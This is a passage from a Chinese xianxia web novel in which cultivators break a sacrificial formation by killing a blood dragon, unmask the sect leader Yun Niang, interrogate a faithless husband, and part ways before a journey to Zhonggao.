‘‘啊?什么阵法?如何破?’’乙寻屏气喘吁吁跑来,正巧听见他们所言,把脸贴上来问道。
叶谨辰微顿,见是任舒映认识的人才接话道:''''暂不确定是何阵法,但是可以肯定的是阵眼在灵田内。''''
‘‘那,那个池中的是什么啊?’’
''''是血蛟。''''
那灵田高温炙热,又有个凶悍的妖兽坐镇倒是难以破坏阵眼了。
任舒映蹙眉思索着,一直从未发话的孤竹京长袖一挥,他在手上划出一道血痕,将血涂抹在撼刑剑身,撼刑散发出殷红的微光。
‘‘撼刑,去。’’
长剑夹杂着幽红色流萤倏地钻入灵田。
血蛟看那剑向它飞驰而来,怒不可遏,‘‘一把破剑还妄想杀我,看来不拿出点颜色你们还真的当我是条废蛇了!’’
复一阵浪涛翻腾,那冒烟的水珠犹如血滴洋洋洒洒倾盆而下,任舒映尚未回过神来,孤竹京眼疾手快,一个晃影已走到她身边,宽大的衣袖遮挡了她的视线,熟悉的味道扑鼻传来,随后雨滴拍打在草丛。
‘‘啊!!!’’
还有乙寻屏凄厉的惨叫声。
孤竹京不着痕迹的收回衣袖,仿佛方才的行为不过是最为寻常的君子之举。
任舒映呆滞的看着孤竹京的眼睛,心中突然出现了奇怪的思绪。
不对啊,孤竹京怎么会突然怎么有风度?他不会……
任舒映不知想到什么可怕的念头,落在他冰冷的脸庞的目光,仿佛是触电一般倏忽的收回。
‘‘烫死老子了!’’乙寻屏在后面又气又怒的大喊。
闻言任舒映垂眸腹诽,
果然,就是看不起她,是以为她躲不开这个烫雨吗!?
她微微的恼怒,但是又不敢当面发怒,只好低着脑袋静悄悄的瞪着孤竹京的衣襟。
孤竹京虽然察觉到任舒映的异样,但是他来不及去多想,血蛟已张开了血口往剑扑去,但是只咬了个空,撼刑直直穿过那血蛟钻进池底。
为给撼刑多些时间找到阵眼,孤竹京积蓄着灵力往血蛟炸去,始终在后面观察的叶谨辰不可察觉的蹙眉。
他明明是个魔修,为何还可以使出纯净的灵力!
‘‘孤竹京,我寻到了,在底下有一个球。’’
‘‘我让你寻阵眼,你到底在寻什么?’’
‘‘但就只有一个球啊。’’
孤竹京无奈道:‘‘带走。’’
任舒映歪着脑袋问:‘‘……会不会不太礼貌啊,是可能是那个血蛟下的蛋?’’
孤竹京挑起剑眉,目光复杂的看着任舒映。
礼貌?他堂堂魔域主,向来横行霸道,非杀即盗,需要讲这些附庸风雅的规矩么?
‘‘是有如何?’’孤竹京满不在意,‘‘取过来当作与这血蛟的筹码也可。’’
这话撼刑一样支持,转念一想,哎呀,又干上偷鸡摸狗的老本行了。嗬!小小球乖乖的随我走把,嘿嘿…
它用灵田底下的杂草包裹起来,就在血蛟分神于孤竹京小战之时,悄无声息的从血蛟背后溜走了。
一番打斗下来,孤竹京发现一件事,这个血蛟对于乙寻屏这等修士来说确实难以对付,但是亦有弱点,孤竹京拿着撼刑带回来的赤黑色的蛋,语气中裹挟着轻蔑与试探,明知故问道:
‘‘此物是你的么?’’
血蛟看着孤竹京手里的蛋微微一愣,又似是难以置信,探回窝中一看乍然怒火中烧。
‘‘该死的修士,你居然敢偷我的崽!我与你势不两立!’’
可惜它心有余力不足,它就是受到某种禁制只可以在池内攻击人。
任舒映听清楚血蛟的话看着孤竹京解释道:“这个蛋确实是它的,它还说不会与你善罢甘休……”
“那就让它来抢回来。”孤竹京说罢,身形矫健的往阵法边沿瞬移,血蛟的火力随之也被吸引到那。
任舒映终于看懂了,原来孤竹京是要借刀杀人,以血蛟的火力攻破阵法边界足以。
但是饶有一片丰泽灵地,但是也招架不住高温灌浇。
乙寻屏与叶谨辰二人躲在一个荫蔽的苍树下窥探孤竹京不断作死。
最为惋惜的还是乙寻屏,见他连连叹气,神情悲恸不已,叶谨辰不由得问道:‘‘怎么了?’’
''''可惜了,此处遍的珍稀药材…''''
“你是还懂药材?”
“略知一二,我其实是个音修……”
“在下散修,阁下真学识渊博还通药理。”
“那里那里,我就是个中看不中用的,说到学富五车还得是你们散修见多识广哈哈。”
……
“你们在聊什么?都快过来收拾这血蛟!”
任舒映一面在用幻雾灵力干扰血蛟的视线,一面转首对着树底下窃窃私语的二人喊道。
见任舒映交战火热,乙寻屏只得匆匆作答:
“噢!来了来了!叶道师我先行一步!”
乙寻屏说罢,在衣袖中摸索出一把翠绿色的玉质长笛,凌空一跃,长笛横握至唇下,
一段悠然低淳的笛音响起。
犹如山涧潺潺的流水,又似幽谷中空灵的回音。
血蛟缓缓的停滞下来,但目光仍旧死死的落在孤竹京手中的赤黑色的蛋。
血蛟已经被笛音影响,孤竹京看准时机召回撼刑:“灵田还有东西,再去探探。”
撼刑嗖地一声,扑腾一下进入灵田。
水中血红一片,它只能摸瞎四处寻找。
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顺着血蛟长长的躯体,抵达深处。
“最底层有一处水涡!血蛟的小半躯干被涡眼吸附着才不能出来。”
一直未发话的叶谨辰见状对任舒映道:“底下还有什么情况?”
任舒映把撼刑所言转述于他,叶谨辰顿时恍然大悟。
“阵眼不是那处水涡,而是那只血蛟!”
传闻西津有一阵祭灵阵法,需以生灵为阵眼中枢,若是祭祀的灵兽亦或是妖兽越强大,阵法则越难攻破,作为祭灵会受制行动,催折年寿。而设阵之人在破阵时会遭受反噬。但这阵法与众生同道相互背驰,一般的阵修皆严禁使用,此祭灵阵法也在百年失传。
任舒映问:“可有破除之法?”
叶谨辰眸中透着一丝悲哀,“生灵不分善恶,它亦是无辜受害的祭灵,但唯死才可破阵。”
“撼刑,回。”
令下,灵田即刻乍然开出一朵殷红的艳花,长剑破空而来,倏地回到孤竹京手中。
任舒映走至血蛟面前,仰视对望,眼里毫无波澜,
“你若不死,此阵不破。你已是强弩之末 ,不会在留你一息了,我通妖兽之语,若有遗愿,我可答应尽力为之。”
闻言孤竹京不予它再度挣扎,执起长剑拦腰斩断。血如腥雨,丝丝缕缕,迸溅在他脸庞,墨发,衣襟。
灵草沾腥带血,任舒映等人有作灵气护盾,才没有被淋湿。
血蛟巨大的血瞳颤动,似有不干与无奈。千言万语噎在喉中,哀嘶欲要将天幕撕裂。
在血蛟奄奄一息时,任舒映听见它在反反复复的念道:护着它的孩子……
血蛟死后,法阵结界顿时坍塌,叶谨辰忽然哒哒跑到蛟尸面前清理现场。
乙寻屏一愣,追跑而去:“你干嘛啊?”
“此血蛟年岁不小,观阵已有百年,这蛟鳞,蛟骨都是不可多得的好东西,自然是物尽其用。”
说罢,叶谨辰不再理会乙寻屏,自顾自掏出乾坤纳物袋,将其收入囊中。
乙寻屏:“……”好一个物尽其用。
任舒映看着满身血污的孤竹京,想起来这厮是绞杀血蛟的主力手,便唤他名字:“……你如今看起来需要换衣物。”
“自然。”
孤竹京不冷不淡应答,脸庞上的一滴血水顺着下颚蜿蜒而落,直到起伏的胸襟上。
任舒映咽下口水,又道:“我随你去。”
“……”
孤竹京忽的觉得有些不适,不知是任舒映的视线明目张胆,还是身上腥气味道所致,他抹了一把脸,沉默不语的先行而去。
不说话就当默认了。
任舒映正要跟上,叶谨辰急匆匆追过来,“任姑娘,陆英一事我一路追查至此,不知你现在可否随我去崇邪殿查查,正好我再同你说近日的线索。”
任舒映复想起此事,确实该去看看,便应答一声。
与孤竹京去寻衣铺只能作罢,见乙寻屏闲着,任舒映突发奇想:“乙少主不如你跟着孤竹京吧?”
乙寻屏大惊:“不要啊!”
“为何?他不会对你怎么样的。”
“……我有事,得回乐坊了。”
“好吧 ……”
任舒映回想,让人代劳也不太好。况且乙寻屏其实怕他,
“那我先行一步,告辞。”
说罢,乙寻屏转眼间不见踪影。
15.魔域主(三)
二人循着崇邪殿去,竟接二连三的出现城中的普通人,他们皆慌慌张张的往崇邪殿的路跑来,任舒映寻思少焉不免有些惊异,随之拦下一个衣衫褴褛佝偻着背的矮胖男子,
“哎哎,可否告知崇邪殿发生了什么?”
见任舒映一脸茫然,那路人便以为是跑进来寻自己丢失的亲友,他脸中写满了焦燥与不安,急促的回答:
“你们要寻被抓走到人,就在此处等等吧,逃跑的人都会往这里出来,那群四处抓人的怪人不知怎么回事,齐齐回来收拾了许多金银细软就逃了,一个个都拆货了!看来是有人看不下去,便来惩恶扬善。你们在等会吧,我先走了啊……”
任舒映转头看向叶谨辰,“如此看来他们已是自乱阵脚。”
‘‘说来也怪我,我让孤竹京留那崇邪头目一命,本来想问他关于陆英一事,不料被他逃跑了。’’
任舒映没有在意,反倒是纳闷着叶谨辰怎么会混在崇邪派中,‘‘对了,你近日可有了什么头绪?’’
叶谨辰点头,‘‘我至彩鸢楼后,便拿着信末的桃花一一问寻,待我找到写信的人,此人叫芸娘,她已经失踪有好几日了。’’
‘‘这桃花印记,我在方雨村外的小镇也见到了,是出现在一个花楼花魁的房中。’’
‘‘虽然我详细盘问了彩鸢楼许多人,口中所言尽是如此,但我觉得芸娘并不是失踪。疑虑之下我在半夜搜查她的房内时,发现被褥上有凌乱的褶皱;梳妆台附近有细碎的发丝;还有香炉的灰虽已经熄灭,不过我发现都是被水浇灭的,隔着炉壁触摸时还留余温。’’
‘‘你怀疑她是与楼中女子都已经串通好了口供,那芸娘根本没有失踪,还在楼里?’’
叶谨辰默声点头又继续道:‘‘我此次到崇邪殿就是一来能否寻到那个失踪的芸娘,二来便是陆英的郎君极有可能在此。’’
任舒映一顿,未免略微有些好奇,“如何得知?”
叶谨辰面露无奈之色,“直觉罢了,只是无厘头的猜测。”
“任姑娘,现在被抓来的人都已逃的所剩无几,不如我们先去大殿看看。”
“正有此意。”
——
不过短短几个时辰,崇邪殿已经变的一片狼藉,周边仿佛是被人刻意烧毁,横梁,支柱,锦帘皆被烧的破败不堪。
任舒映正出神的巡视这,叶谨辰不知何时行至她旁边,压低声音对她道:“任姑娘,走,偏殿有人。”
言落,她思绪蓦然被拉回来,心下一凛。两人对视一眼,随即循着声响而去。
一个衣着夜行黑服的男人,背对着他们,站立在一个金漆大匣子面前,翻箱倒柜,左顾右盼。
正当那人要卷财而逃,任舒映一个轻盈的翻身靠近,出其不意,一记手刀将他劈晕。
任舒映睨着瘫倒在地的人,淡热道:“叶道师,此人如何处理?”
“带走吧。”
“带哪去?”
“任姑娘你选吧。”
“?”
“……那你初来黑宜城,住哪?”
“此处客栈太贵,我便没有花这个钱。”叶谨辰沉默一瞬接道:“我寻了一个可接济人的寺庙寄住。”
任舒映:“……”
这叶道师还真是节俭。
——
天色曈朦,任舒映带着叶道师寻去了寻一音坊。
乙寻屏一盆凉水下去,被绑着的黑衣人直呛着咳嗽惊醒。
‘‘说,在侧殿鬼鬼祟祟做什么?’’乙寻屏手中捏起一把道刀,将其架在肩上,语气中隐隐约约透露着危险。
黑衣男人一个哆嗦,结结巴巴的瞥视围着他的三人。
“我……我就是趁乱谋点财利。”
“还有呢?”任舒映冷冰冰凝视他,将地上黑衣男人惊慌失措的神情尽收眼底。
“……没了。”
“岂敢说谎!我看你就是嫌命太长!”乙寻屏声量豁然放大,佯装挥刀砍头之行。
见状他大惊,连连直道:“还有!还有!还有……”
“说啊!”
任舒映忽然打了手势,示意乙寻屏先不要说话。
“你们为何接连逃走?”
‘‘我们老大都跑了,再留在此处早晚被人抓了。’’
任舒映对静默许久的叶谨辰道:''''叶道师,那张信呢?''''
闻言,他在衣襟内掏出一张信封,铺展在黑衣人面前,
任舒映指向叶谨辰手上的信中的字问:‘‘这个字可有见过?’’
黑衣男人不过草草觑了一眼,心下不由的腹诽,本就不认字,还让他看信?
‘‘不认字,没见过。’’
‘‘乙寻屏’’好吧,任舒映心念着,也是病急乱投医,不认识也是情理之中。
‘‘他一个乡野村夫哪看得懂字?来来,给我看看。’’
乙寻屏嗤笑,收回刀将信封接过来,垂眸看了眼,尚还未看完他便觉得浑身不适起来,手臂上顿时起满鸡皮疙瘩。
‘‘这写的什么啊?情诗?哎呦还不如我写的。’’
竟看的乙寻屏眉头直皱,品鉴一番他又落下一句,‘‘倒是这落款下画的桃花挺别致的。’’
闻他所说,黑衣男人再次把视线落在乙寻屏手上的信,桃花?这不是……
‘‘你可是还有话要说?’’
任舒映目光极为敏感,捕捉到他略有疑惑的神思,忽然觉得此人是知晓一二。
‘‘……那桃花我再看看。’’黑衣男人动瞄着信。
乙寻屏再度将纸搁至面前,见他把脸凑进,仔仔细细在再看了一眼。
最终半肯定半犹豫接话,‘‘好像是我们老大的字……’’
‘‘你们老大?这个字看起来不像是一个女子写的吗?’’任舒映回忆起当时灵田中在孤竹京眼皮子底下逃跑的男人,开始怀疑自己是寻找的方向有误。
‘‘我们有两个老大,一个管理崇魔殿在此处,另外一个却从来没有见过,倒是经常会写信,在上面画点花花草草。’’
如此一听,她终于恍然:‘‘叶谨辰,彩鸢楼在何处?快!快带我去!’’
叶谨辰一愣随即明了。
对啊,在彩鸢楼搜查时他就觉得明明有人在住,可偏偏所有的人都在说芸娘失踪了,而细想这个抓来的人描述之下,这个桃花印记就是她所写信的特点。
如此看来
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,这个芸娘极大可能与崇邪脱不了关系。
乙寻屏一脸茫然,‘‘哎?你们去哪啊?什么意思啊?’’
——
两人用轻功踏着屋顶飞驰,衣袖卷席着凉风,踏着片片石瓦,所过之处一阵清脆叮聆。
他们翻过高墙,直落在彩鸢楼后院,躲避一群行人径自奔向芸娘的隔间,
任舒映吐出一口气,好在人还没有跑。
任舒映走在门口,正想着是礼貌敲门还是直接暴力破门,叶谨辰用细微的声音在她耳畔道:“里面有两个人,我们先不要进去。”
言罢,两人屏息静气,隔间内的争执渐渐清晰起来。
一个女人大声叱喝,‘‘你要走便走,为何还赖在这里?’’
‘‘我们谈好的一千两紫魔晶呢?那日可是说好的,难不成你想反悔?’’男人说完,响起莎莎的纸声,‘‘这个可是押书,你别想耍赖。’’
‘‘如今都乱成什么样子了,酬金都在崇邪殿被你们抢光了,我就不信你没有在那捞到一点好处!’’
‘‘所以你这话,就是不肯给我钱了?’’
听男人口吻似是隐忍不发,任舒映听的不由得蹙眉。
紫魔晶?非魔族地界怎么会流通魔晶?任舒映未来得及深思,隔间内突然传来茶盏碎裂的声音。
“朱和!你可别得寸进尺——”
门外两人心中一凛,破门而入。
话音戛然而止。
房中的红纱裙女人最先反应过来,欲要跳窗逃离。
任舒映指间攒动幽蓝的灵力,化作一道细长的冰棱,击向窗沿的女人。
至于另外一个黑衣便装男人,根本就不是修士,叶谨辰一记手刀就劈晕倒地。
红衣女人武功不差,一个蹁跹的翻转,不费余力避开暗器。
任舒映目不转睛凝视女人,历声道:“芸娘。你才是崇邪的主谋。”
“居然这么快被你们发现了。”
芸娘朱唇一勾,不紧不慢的说:“就是你们坏我好事?”
“哼,区区两个小喽啰,还不配栏我的道。”
芸娘话语轻蔑,高傲颔首看着任舒映,但是迟迟没有与二人对敌的动作,她长袖一挥,一团漆黑的魔气流溢开来,任舒映眼帘一片模糊。
她无声淡笑,颇为自信的将手中的灵力击向额顶天花板上。
她自幼为剑修,闭视辨声,皆是她的长技。芸娘此法,倒是来送人头了。
顷刻间,一阵巨大的灵波犹如镜池落石,涟漪不兴,魔气驱散。
她与芸娘同击右掌,但任舒映察觉出芸娘内力微弱,一攻击下来对她不痛不痒,如此看来芸娘可能是有重伤在身。
芸娘心下微沉,顾不了其他,趁魔气尚未消散,火急火燎往门口奔去。
脚还没来得及踏出门槛,再度出现一道强悍的灵波,芸娘被灵波拦腰劈回,乍然“哐当”,她撞倒了紫木屏风,口吐鲜血,发出细微的闷哼声。
任舒映一怔,转首望去。
孤竹京换了一身黑面金纹的便装,发冠高束,徐徐走入。
芸娘狼狈站起,眼中闪过一抹狠厉,艰难地吐出几字:“原来破我坏事的是你。”
16.醉酒
孤竹京目光缓缓移至任舒映的脸上,漫不经心答道:‘‘是我又如何?’’
孤竹京与任舒映对视一瞬,又瞥向跪倒在地上的红衣女子,手中抛出一个红珠。
珠子轱辘直滚到芸娘脚边。
‘‘这个可是你在魔族引进南夷的?’’
芸娘嗤笑出声,‘‘这不过是魔族的一些小玩意,我在哪卖,与你何干?未免管的太宽了吧?’’
撼刑本在孤竹京手中安安静静窥听,见这个女人竟然敢这般口出狂言,当下激动的剑身颤动,你知道你面前是谁吗?
有眼无珠的女人!孤竹京给她看点你的手段啊,何堂堂魔——
撼刑:‘‘?’’。
孤竹京眸中微沉,暗骂了一声,忽然又有想把它融了的念头,没事就不该带这破剑来,差点让它说出来。
任舒映自然听到撼刑所言,见撼刑的话戛然而止,她陡然看向孤竹京,不免的沉吟思索起来。
这是差一点就被剑灵暴露身份了吗?回想方才所闻,孤竹京身份确实非同一般,尾音最后也只是听出来念的‘‘摸’’?
莫非他是什么摸金大佬?靠着昔日成名的荒野坟冢发家致富?任舒神色莫辨的打量孤竹京上上下下,又觉得哪里都透露着古怪,看着明明是衣着不凡,行事也颇有气场,倒是没想到是干这一行的。
孤竹京虽不知晓她又在想什么这个沉默的氛围中,她语气和表情虽都很平静,但就是平静的毫无波澜,让他有一种直觉告,
任舒映又在讲他坏话。
‘‘你若不说,我又的是办法让你开口。’’孤竹京神情骤然降冷,目光转向芸娘,语气让人不寒而栗。
叶谨辰知道的虽然比任舒映多,但他或许可以猜出孤竹京就是魔域中位高权重的高位者,最重要的是并不想然任舒映知晓,思来想去还是在一旁沉默为好。
孤竹京向芸娘移进,他压低的声音唯又她可闻,‘‘让我猜你是和谁在魔珠作这个买卖呢?是六魔君灭谛,还是三魔君煦谛?’’
芸娘蓦然一惊,诧异看着孤竹京的侧颜,下意识的说道:‘‘你怎么知道?’’
这修士为何知晓的如此清楚关于魔族四谛的名字。
‘‘是哪个,说?’’
孤竹京不耐烦的再次询问,他只想要回答是谁,不然回去两个都杀了,魔域哪还有人替他处理事情?
她反反复复地心中告诉自己,背叛谁都不可能背叛他。遂过了片刻芸娘还是咬紧牙关,
孤竹京不禁嗤笑一声,弓着腰在她耳畔留下一语。
‘‘真是养了一条好狗啊。’’
孤竹京没有什么好说的,便让任舒映去问她想知道的。反正他的一几个手下就暗藏在附近,他们问完了拎回魔域去,让他们自己查去好了。
任舒映没有听清楚孤竹京问什么,便只得压下心中的好奇,赶忙蹲在她面前,''''芸娘,你一介魔修为何来人族地界?''''
‘‘你想要整个黑宜城!’’
任舒映忽然听见一道陌生的声音,回头巡视,刚开始被叶谨辰打晕那个叫‘‘朱和’’的男人不知何时醒了。
朱和继续说爬起来揉着脖子:‘‘就是这个女人让我随她去崇邪殿干事,还说只要她拿下整个黑宜,便有享不尽的荣华富贵,哈哈到现在呢?逃的逃跑的跑,连押书上的保底的一千紫魔晶到现在都拿不出来!’’
芸娘气极反笑,‘‘你这成不了气候的废物,给你的好处倒是喂狗肚子里了。’’
见两人剑拔弩张又要吵起来,叶谨辰急忙插话道:‘‘朱公子,这个你可见过?’’
任舒映亦看了一眼,叶谨辰手上的是那封落款桃花的信。
朱和直指纸张,激动不已的指控:‘‘就是她,这个信就是她给我写的!’’
果然,朱和就是陆英夫君。
听罢,芸娘心已不稳,看来她是再难逃脱了。
先前,她在灵田设的祭生阵被破,已遭反噬重伤未愈,现如今本想伪装彩鸢楼女子混淆视听,偏偏还被一条白眼狼赖上。
芸娘眸光暗寂,默默不语。但她还在希冀着他可以前来相救。信笺传君,她可以在拖延时间。
沉吟半晌,芸娘忽地将她的行迹全盘托出:“此血珠我与六魔君手下的人交易多年,为的就是屯财聚地,待时机成熟便可完全占领南夷与修界抗衡。”
这话辞于任舒映所猜的相差无几,但修界遍州林立,岂是说抗衡就抗衡的,想的未免太过异想天开。
朱和大骇,现已知道魔晶要不回来,便气急败坏骂道:“原来你居然是魔修,你们魔修当真是卑鄙无耻!”
朱和骂完又转向任舒映手脚并用爬来,“各位道师,你们可要为我评评理啊,好歹我也是有押书作证的……”
“……”
任舒映不动声色翻了白眼。
她终于感受到芸娘为何方才如此气恼了,她若是遇到这样的下属也定要杀他不可。
都这个时候还对钱财念念不忘,厌烦之下她正要避开喋喋不休的朱和,孤竹京却抢先一步以灵术将他推的往后仰翻,随之趔趄打滚。
“你真吵。”
朱和观孤竹京脸色阴沉,顿时感觉背后寒凉,欲要说的话语又不禁咽回肚中。
“芸娘,灵田设阵者,是你吧。”
任舒映不过是在肯定的问她,芸娘随之一笑,淡定的站起来:“不错就是我,黑宜城本该就是我的……”
芸娘说完,一团漆黑的魔气从窗外缓缓渗入,任舒映唤起灵术想要攻向芸娘,可才触碰至黑压压的魔气,灵里倾刻消散。
孤竹京观察魔气若有所思,迟迟未有动手抓人的意思。
看起来,芸娘是找到魔域的救兵了。
既然是魔域的人便让他带回去,等他回了魔域再来抓人也不急。
见芸娘融入魔气,消失无踪,任舒映只能放弃。
叶谨辰启口道:“带走芸娘的魔修,恐怕在几百个剑修手下都可以安然救出,全身而退。”
“无妨,还有一个没跑。”
任舒映转眼瞥视角落瑟瑟发抖的朱和。
三更天。
朱和被带回“寻一音”乐坊。乙寻屏用粗绳将其伺候,朱和被三人包围着,一一审问。
孤竹京慵懒的斜倚在棱柱上,百无聊赖看着他们。
叶谨辰问:“陆英你可认识?”
朱和本就紧张不已,听这熟悉又不敢面对的名字,脸上即刻有了细微的变化,随之心虚躲避叶谨辰的视线:
“…不认识。”
“这信在哪里来的,你没有印象?还是说在刻意隐瞒?”
兴许是叶谨辰问话过于温和,任舒映压低嗓音又补话道:
“我已知晓陆英孩子藏身之处,你若从实招来,便放你一条生路。”
“你们怎么会知道孩子在哪?!”朱和
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反应颇为激动,仿佛那孩子是被他们劫持。
任舒映只不过是将计就计,洋装出孩子已被寻到,动摇他的想法罢了。
不料朱和脸色大变,急促问道:“你们把他带哪里去了?”
任舒映平静如水回答:“别急,那孩子并非你亲生的,他的死活你何须在意?”
“他……他是我亲儿子!”
“什么?!”任舒映更加不解,明明是亲生之子,为何却传陆英私通外男,暗结珠胎。
“是我……都是我……我早与那个女魔头在彩鸢楼认识,一时被她迷了心窍答应与她远走高飞……但又舍不得陆英生下的孩子……”朱和纠结半晌,担心孩子遭遇不测,终是结结巴巴无语轮次终于说出。
任舒映听到此处,忽然替陆英感到一阵哀婉,她想不到这朱和竟然为达目的不择手段至此地步,甚至连孩子都可以利用。
利欲熏心,两情离异,深受谩骂,到头来还是遇人不淑。
“朱和,你当真不配为人。”任舒映深吸一口气,冷睨着他,话语中已然是寒凉彻骨又隐隐带怒。
天欲见明,白雾氤氲。
叶谨辰在最后套出孩子下落便马不停蹄地寻去,辗转几日终于带着令人心郁的真相回到方雨村。
——
孤竹京与任舒映二人于面馆用夜宵,可惜任舒映毫无食欲,拿起木筷一直不停戳着碗中的干面。
戳的如烂泥,她还没有解气,有提起一壶酒咕隆咕隆的灌进喉咙。
孤竹京看不下去了 ,“你与其在想这些渣男怨女的事,倒不如想想你还要什么没有做完的吧。”
任舒映夹了一根面丝没有吃,而是看着面丝,闷闷不乐:“金炽莲已是空口传言,你要我怎么寻?”
“乙寻屏说了,还有魔域断枯芽可入药。”
“你让我去魔域?那还不如直接杀了我,魔族对修士敌意最大,这不是自寻死路吗?”任舒映说完忍不住叹息,若是时日真不多了,确实是该备下遗言才是,
“……孤竹京,我先把遗言告诉你吧,我想好了,择日前去药师谷安度余生。”
孤竹京挑眉看着她。
“我知道你身手不凡,若有机会,你无聊了,就去将渺梦山将封印在幽戒室的叩雪剑取来,还有曦月阁的紫色匣子里的瑶光钗,枕头底下藏着的岫魄玉佩,书房窗口摆植的那盆忘忧花……”
孤竹京安静听完,眸中闪过一丝困惑,“你这遗言还真挺麻烦的,难道都是渺梦山那些里可有可无的东西?”
“你不懂!”任舒映大声反驳。
“叩雪剑是我亲自到无间楼爬了整整三旬,于六千二百一层寻到的。”
“瑶光钗是师尊前去东临海宫命器修大师替我打造的。”
“岫魄玉佩是我成为渺梦剑道魁首时赢得的宝物。”
“望忧花是我与师兄悉心栽培几载的珍草。”
孤竹京不知何时听入迷了,他像是在听着一个天之骄子的事迹,又新奇又好笑。
任舒映脸颊微红,眼睛半瞌,看着孤竹京说话时,似是带着一种自豪和炫耀。
一股料峭寒风拂来,孤竹京恍恍惚惚回过神来,看任舒映伏倒在桌面,他自顾自给自己酌了一杯酒,对着醉的不省人事的人道:“喂,我没有说答应,你要什么自己去拿,我最讨厌麻烦了。”
任舒映动了动,给了他一个冷漠的后脑勺。
“……”
17.一年之约
次日任舒映午时才转醒,回忆了片刻才渐渐清醒为何躺在一间窗明几净的房间,好像是昨夜与孤竹京吃夜宵时,她兀自的喝闷酒不知不觉喝醉,孤竹京还大发善心拖着她回去。
为是什么拖着,可能是她动了一下身体,发现膝盖被隐隐作痛,掀开衣角一看是擦破了皮,且她还有一点印象,孤竹京拽着她手腕的时候,她在发酒疯拼命抵抗竭力挣扎。
‘‘……’’甚至还用了灵力误伤他,希望孤竹京对醉酒的人宽容些,若是平时她怎么可能如此大胆,若是他追究起来就苟着装失忆。
正迷糊着,她见到乙寻屏寻来。
还带来了叶谨辰的传信,信中写着不多,寥寥几字写道,
‘‘陆姑娘的孩子安然无恙,已经送回陆姑娘身边,朱和抛妻弃子,勾结崇邪现已押入当地官府,无后顾之忧。我欲有精修阵法志向,已北行中皋阵修宗门拜师,恐难临面道别,望珍重。’’
落尾之处,还留一行不起眼的小字。
‘‘小心你身边的人。’’
还能是谁?无非是昨夜与她发酒疯的受害者。但是雪鲛蛊还在她这一日,还是暂时可保安全。
见任舒映看信一副心事重重,忽的又长长舒出一口气,乙寻屏以为是出了什么意外,连连问:‘‘怎么了?写什么了?’’
‘‘没,方雨村一事已经尘埃落定,就是叶谨辰不会来了,他打算去中皋拜师。’’
乙寻屏有些不舍,‘‘可惜,还没来得及与他在畅谈一番。’’
任舒映不解的‘‘啊’’了声,难以理解的看着他,‘‘你们有什么好聊的?’’
‘‘他挺有趣的啊,一个散修居然懂设阵,会用器修的灵盘,还挺聪明的。我还没有接触过散修,在陇北鄄宗只与音修与器修相处过。’’
‘‘……有没有一种可能他确实就是阵修。’’
‘‘啊?没有师门的阵修?野生阵修!有意思啊!’’乙寻屏摸着下巴,不知是在笑什么。
任舒映莫名其妙看了他一眼,又想起来自己的计划,‘‘我也要离开南夷了,’’
‘‘想好了?’’
任舒映扫除了眸中结郁的阴霾,释然一笑:‘‘药师谷确实挺适合等死,兰泽芳草,水秀山明,圣医无数,总不能一个个都束手无策,别无他法吧,’’
‘‘也是,我也不是精通医术的人,在医师谷可能真的有法子根治。哦,对了,既然你也要走我也准备要回鄄宗。’’
他说着把腰间佩戴的玉佩拿出来,‘‘这个呢,是我们鄄宗玉鉴牌,以后有要帮忙的,拿它随时来寻我。’’
任舒映也已经有些了解这个乙少主的性子,若是拒绝恐怕撵都撵不走,便不再推辞,道谢后接在手中。
--
她发现与他们两个人道别后,就剩下孤竹京一人了,
她打开客房的门,失踪一早上的孤竹京正离她房门几步距离,她犹豫了须臾,唤住他小跑到面前:‘‘我打算去药师谷。’’
‘‘知道。’’
‘‘啊?你怎么知道?’’莫非她昨夜说出来了?但是她更加担心的是还有没有说其他的醉酒话。
''''你昨夜说了。''''
念及此,她观察孤竹京平静的脸庞,一边逼迫自己回忆,又问:‘‘那,我可还有说什么?’’
‘‘…忘了。’’
任舒映半信半疑的沉默着:‘‘……’’
孤竹京极有可能知道什么,就是不肯说。随后她稳住心绪,问了孤竹京的打算,
‘‘那你可有何去处?’’
孤竹京没有回答,突然拿出一个乾坤收纳袋推到她胸前,‘‘拿着,这个是断枯草。’’
任舒映呆在原地,直愣愣看着乾坤袋不知所措,她虽对孤竹京的身份心照不宣,但每每他做是意料之外的事,她还是忍不住怀疑孤竹京的身份。如今一夜之间,他便可以拿出魔族特有的断枯草,莫非他的摸金生涯已经扩散到魔域了?好胆量啊!
孤竹京眉目淡然,沉默一息又补话:‘‘你直管用便是,从何而来你无需知道。在一年后我会亲自取回雪鲛蛊。’’
他断枯草于他而言倒是没有难处,他便连夜赶去魔域一声令下,就会一一承上来。
但是仅剩下两个月的时间,魔域附近将再度开启三载一现的九骸壤古神遗址入口结界,他上一次去九骸壤,便是被他灵海中的苍燎魔息影响,此次他主动前去,便是寻到前魔域主苍燎的魔身,让苍燎再无复生的机会。至于雪鲛蛊时日尚早,他便打算等蛊母成年再为之。
不过也好,任舒映还有一事要做,无人再盯着她,也可以办的心无旁骛。
任舒映思索一番爽快应下他的一年之约。
——
从南夷行至北州药师谷,必经翁谷山道,此道再路上打听,已经被陪尾的逃犯占据,不可再去。她只得绕道改径。新道虽然远,但是途径修界最为繁杂的九翼州中皋霄华。也可在那里置办一些法器。待在药师谷解毒后,潜入渺梦山把日思夜想的叩雪剑带走。
历经整整半旬,她跟在一批散修去了霄华。
霄华人杰地灵,英才无数,聚剑,阵,符,音几类修士,可谓是吸引不少的人前来拜师,就连她在渺梦山年仅十三岁时,也有这一想法。
关于霄华传闻她不过是道听途说,至今也是首次到霄华,刚在一处酒楼落脚那些修士已打听清楚中皋近况。
‘‘中皋近日热闹啊!也是第一次见到四方齐聚之景。’’
‘‘哦?说来听听到底在怎么个事?’’
任舒映亦正愁着还得跑出去四处溜达探听消息,不料那消息灵通的散修就在不远处,听见那修士与同伴并坐闲谈。她便点了份小菜,一边小口小口吃着,一边竖起耳朵漫不经心的窥听,
‘‘据说九骸壤要开启了,’’
‘‘你是说魔域的那个古神遗址?’’
‘‘正是,魔域从来不允许修士踏入半步,主结界自然是只得放弃,不过在中皋有次结界出现的迹象。陇北鄄宗,东临海宫,还有南夷几处大修派皆带着拔尖的弟子前来,我猜啊这回结界入口在此,已经是板上钉钉了。’’
闻言,对方暗暗窃喜
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:‘‘那看来我们也是来对了时机,届时还可以与那些大派弟子一同去九骸壤。’’
‘‘话虽如此,但是我们散修都是一盘散沙,就算是去了,也难从大派弟子手下讨着好处。’’
此言对方亦觉得在理,沉默好一会忽然想起来初入中皋时,又道:‘‘听闻有一灵宝拍卖会在东街,正因九骸壤将开启许多人都会去寻适合带入古神遗址的宝器。’’
